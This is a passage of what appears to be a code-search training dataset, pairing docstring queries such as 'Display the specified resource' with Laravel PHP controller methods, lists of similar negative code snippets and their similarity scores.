"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
] | [
"0.72865677",
"0.7145327",
"0.71325725",
"0.6640912",
"0.66209733",
"0.65685713",
"0.652643",
"0.65095705",
"0.64490104",
"0.637569",
"0.63736665",
"0.63657933",
"0.63657933",
"0.63657933",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437"
] | 0.0 | -1 |
Display the specified resource. | public function show(Blogger $blogger)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Resource $resource)\n {\n // not available for now\n }",
"public function show(Resource $resource)\n {\n //\n }",
"function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }",
"private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }",
"function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}",
"public function show(ResourceSubject $resourceSubject)\n {\n //\n }",
"public function show(ResourceManagement $resourcesManagement)\n {\n //\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function retrieve(Resource $resource);",
"public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }",
"public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function show(Dispenser $dispenser)\n {\n //\n }",
"public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }",
"public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}",
"public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }",
"function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}",
"public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }",
"public function get(Resource $resource);",
"public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }",
"public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }",
"function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}",
"public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }",
"public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }",
"function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}",
"public function edit(Resource $resource)\n {\n //\n }",
"public function show(rc $rc)\n {\n //\n }",
"public function show(Resolucion $resolucion)\n {\n //\n }",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }",
"public function show(Resena $resena)\n {\n }",
"public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}",
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }",
"public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }",
"public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }",
"public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }",
"public function display()\n\t{\n\t\tparent::display();\n\t}",
"public function show()\n\t{\n\t\t\n\t}",
"public function get_resource();",
"function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }",
"public function display($title = null)\n {\n echo $this->fetch($title);\n }",
"public function display(){}",
"public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}",
"public function display() {\n echo $this->render();\n }",
"public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }",
"#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}",
"public function show($id)\n\t{\n\t//\n\t}",
"public function show($id)\n\t{\n\t//\n\t}",
"function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }",
"public function show($id)\n {\n //\n $this->_show($id);\n }",
"public function show()\n\t{\n\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {}",
"static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}",
"public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}",
"public abstract function display();",
"public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }",
"public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"abstract public function resource($resource);",
"public function show(Response $response)\n {\n //\n }",
"public function show()\n {\n return auth()->user()->getResource();\n }",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}"
] | [
"0.8233183",
"0.81894475",
"0.6830127",
"0.6498529",
"0.6496276",
"0.6469191",
"0.64627224",
"0.63619924",
"0.6308743",
"0.62809277",
"0.6218707",
"0.61915004",
"0.617914",
"0.6172935",
"0.6137578",
"0.6118736",
"0.6107122",
"0.6106576",
"0.60931313",
"0.60798067",
"0.6046669",
"0.60386544",
"0.60193497",
"0.59882426",
"0.5963477",
"0.59618807",
"0.5952755",
"0.5929829",
"0.59192723",
"0.59065384",
"0.59065384",
"0.59065384",
"0.590592",
"0.58923435",
"0.5870325",
"0.5868533",
"0.58685124",
"0.5851443",
"0.5815833",
"0.58149886",
"0.58143586",
"0.580419",
"0.58004224",
"0.5793256",
"0.57887405",
"0.57840455",
"0.5782294",
"0.5760476",
"0.5757928",
"0.57578564",
"0.57453394",
"0.5745187",
"0.5741311",
"0.5738201",
"0.5738201",
"0.5730195",
"0.5727921",
"0.5727622",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5724217",
"0.5720258",
"0.5714068",
"0.57106924",
"0.5709095",
"0.57058644",
"0.57057875",
"0.5704414",
"0.5704414",
"0.57021624",
"0.56991994",
"0.5692151",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576",
"0.5686576"
] | 0.0 | -1 |
Show the form for editing the specified resource. | public function edit(Blogger $blogger)
{
if((auth()->user()->hasPermissionTo('blogger_edit') != true))
return $this->permission_denied('blogger_dashboard');
return view('dashboard.users.blogger.form')
->with([
'page_title' => $this->page_title,
'entity' => $this->entity,
'entity_action' => 'Edit',
])
->with('blogger', $blogger);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function edit()\n {\n return view('hirmvc::edit');\n }",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }",
"public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}",
"public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }",
"public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }",
"private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}",
"public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }",
"public function edit($model, $form);",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}",
"public function edit()\n { \n return view('admin.control.edit');\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function edit()\n {\n return view('common::edit');\n }",
"public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\r\n {\r\n return view('petro::edit');\r\n }",
"public function edit($id)\n {\n // show form edit user info\n }",
"public function edit()\n {\n return view('escrow::edit');\n }",
"public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }",
"public function edit()\n {\n return view('commonmodule::edit');\n }",
"public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit(form $form)\n {\n //\n }",
"public function actionEdit($id) { }",
"public function edit()\n {\n return view('admincp::edit');\n }",
"public function edit()\n {\n return view('scaffold::edit');\n }",
"public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }",
"public function edit()\n {\n return view('Person.edit');\n }",
"public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }",
"public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}",
"public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }",
"public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}",
"public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }",
"public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }",
"public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }",
"function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}",
"public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }",
